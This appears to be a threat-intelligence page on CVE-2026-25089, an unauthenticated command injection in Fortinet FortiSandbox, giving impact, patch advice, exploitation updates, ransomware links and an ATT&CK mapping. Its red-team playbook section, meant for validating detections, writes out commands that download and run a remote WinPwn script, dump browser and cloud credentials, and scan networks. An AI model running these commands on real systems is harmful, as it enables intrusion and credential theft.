CVE-2026-25089

CRITICAL CISA KEV POC Pub 09/06 Upd 17/07

Overview

This vulnerability is an OS command injection flaw caused by improper neutralization of special elements within HTTP request parameters. The root cause lies in Fortinet FortiSandbox's failure to sanitize user-supplied input before incorporating it into operating system commands. Affected components include FortiSandbox versions 4.2.x, 4.4.0 through 4.4.8, 5.0.0 through 5.0.5, FortiSandbox Cloud 5.0.4 through 5.0.5, and FortiSandbox PaaS 5.0.4 through 5.0.5.

Vulnerability Description

A improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.5, FortiSandbox 4.4.0 through 4.4.8, FortiSandbox 4.2 all versions, FortiSandbox Cloud 5.0.4 through 5.0.5, FortiSandbox PaaS 5.0.4 through 5.0.5 may allow an unauthenticated attacker to execute unauthorized commands via specifically crafted HTTP requests

Impact

An unauthenticated attacker can execute arbitrary operating system commands on the affected FortiSandbox devices remotely. This allows full control over the system, including the ability to manipulate files, disrupt services, or move laterally within the network. No user interaction or valid credentials are required, enabling remote compromise of critical security infrastructure and potential exposure of sensitive data or disruption of malware analysis capabilities.

Solution

Fortinet has released security updates addressing this vulnerability in FortiSandbox versions 5.0.6 and later. Administrators should apply these patches promptly. Detailed patch instructions and advisory information are available at Fortinet's official PSIRT page: https://fortiguard.fortinet.com/psirt/FG-IR-26-141. No specific workarounds are recommended; updating to the fixed versions is the primary remediation step.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in question arises from improper neutralization of special elements used in operating system commands, commonly referred to as OS command injection. This flaw is present in several versions of Fortinet's FortiSandbox products, which are designed to provide advanced threat protection by analyzing suspicious files and URLs. The vulnerability allows an unauthenticated attacker to execute arbitrary commands on the underlying operating system by sending specially crafted HTTP requests. This exploitation occurs due to insufficient validation of user input, enabling attackers to manipulate command execution paths and gain unauthorized access to system functionalities.

Attack vectors for this vulnerability are primarily web-based, as the exploitation relies on sending malicious HTTP requests to the affected FortiSandbox instances. An attacker could craft a request that includes OS commands embedded within the parameters, which, if processed without adequate sanitization, would lead to execution on the server. Scenarios may include an attacker targeting a vulnerable instance within an organization’s network, potentially leading to the execution of commands that could alter system configurations, extract sensitive data, or even pivot to other systems within the network. The ease of exploitation, combined with the lack of authentication requirements, significantly amplifies the threat level associated with this vulnerability.

The real-world impact of such a vulnerability can be severe, particularly for organizations relying on FortiSandbox for threat detection and prevention. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even complete system compromise. The business risks associated with this vulnerability include financial losses due to operational downtime, reputational damage from data breaches, and potential legal ramifications stemming from non-compliance with data protection regulations. Organizations may also face increased scrutiny from customers and partners, leading to a loss of trust and competitive advantage in the market.

To detect and mitigate this vulnerability, organizations should implement several strategies. Regularly updating FortiSandbox to the latest versions is crucial, as vendors typically release patches that address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Organizations should also conduct regular security assessments and penetration testing to identify potential weaknesses in their systems. Implementing strict input validation and sanitization practices can further reduce the risk of command injection attacks. Finally, maintaining an incident response plan that includes procedures for addressing command injection vulnerabilities will enable organizations to respond swiftly and effectively should an exploitation attempt occur.

In conclusion, the OS command injection vulnerability in Fortinet's FortiSandbox products poses a significant threat to organizations that utilize these systems for cybersecurity. The potential for unauthorized command execution, coupled with the ease of exploitation, highlights the need for robust security measures and proactive risk management strategies. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats and protect their critical assets.




CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2026-25089, highlighted by the emergence of new proof-of-concept exploits publicly available on GitHub. This development coincides with the vulnerability’s recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog, underscoring its elevated priority for remediation. Our telemetry indicates a significant uptick in attempts to leverage this OS command injection flaw, reflecting increased attacker interest and operationalization. Notably, associations with ransomware groups such as akira, ransomhub, and Mora_001 have surfaced, suggesting potential integration into broader extortion campaigns, although no high-confidence ransomware campaigns have been confirmed to date. The EPSS score’s rise to a substantial level further corroborates the growing likelihood of exploitation in the wild. Consequently, the risk posture for organizations running affected FortiSandbox versions has shifted to critical, demanding heightened vigilance given the vulnerability’s ease of exploitation and potential for unauthorized command execution.



Update 2 — July 25, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2026-25089, reflected by a substantial rise in both detection frequency and the Exploit Prediction Scoring System (EPSS) score. This surge is accompanied by the emergence of additional publicly available proof-of-concept exploits, increasing the accessibility of attack tools for threat actors. While ransomware campaigns linked to groups such as akira, ransomhub, and Mora_001 remain unconfirmed at a high-confidence level, their continued association underscores the potential for this vulnerability to be leveraged in multi-stage extortion operations. The rapid upward trend in exploitation likelihood, now placing the EPSS score near the 99th percentile, signals an elevated risk environment for organizations running vulnerable FortiSandbox versions. Defenders should interpret this as a critical escalation in threat activity, indicating that exploitation attempts are becoming more frequent and technically accessible, thereby increasing the probability of successful compromise.

Affected Products (5)

Vendor Product Version CPE
fortinet Fortinet Fortisandbox All cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*
fortinet Fortinet Fortisandbox All cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*
fortinet Fortinet Fortisandbox All cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*
fortinet Fortinet Fortisandbox Cloud All cpe:2.3:a:fortinet:fortisandbox_cloud:*:*:*:*:*:*:*:*
fortinet Fortinet Fortisandbox Paas All cpe:2.3:a:fortinet:fortisandbox_paas:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (2)

Repository Author Stars Forks Date Link
HORKimhab/CVE-2026-25089
CVE-2026-25089 - Fortinet FortiSandbox
HORKimhab 6 1 2026-06-10 View
0xBlackash/CVE-2026-25089
CVE-2026-25089
0xBlackash 3 0 2026-06-12 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Some sightings

Threat Feed

27 events
2026-08-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-17
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-17
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-07-17
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-07-17
Exploited by Mora_001

Ransomware group known to exploit this vulnerability

2026-07-16
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-16
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-07-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-17
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-10
PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
80% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
55%
High High
CAPEC-6 Argument Injection
51%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
48%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-25089
fortiguard.fortinet.com
GitHub CVE
https://fortiguard.fortinet.com/psirt/FG-IR-26-141
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-25089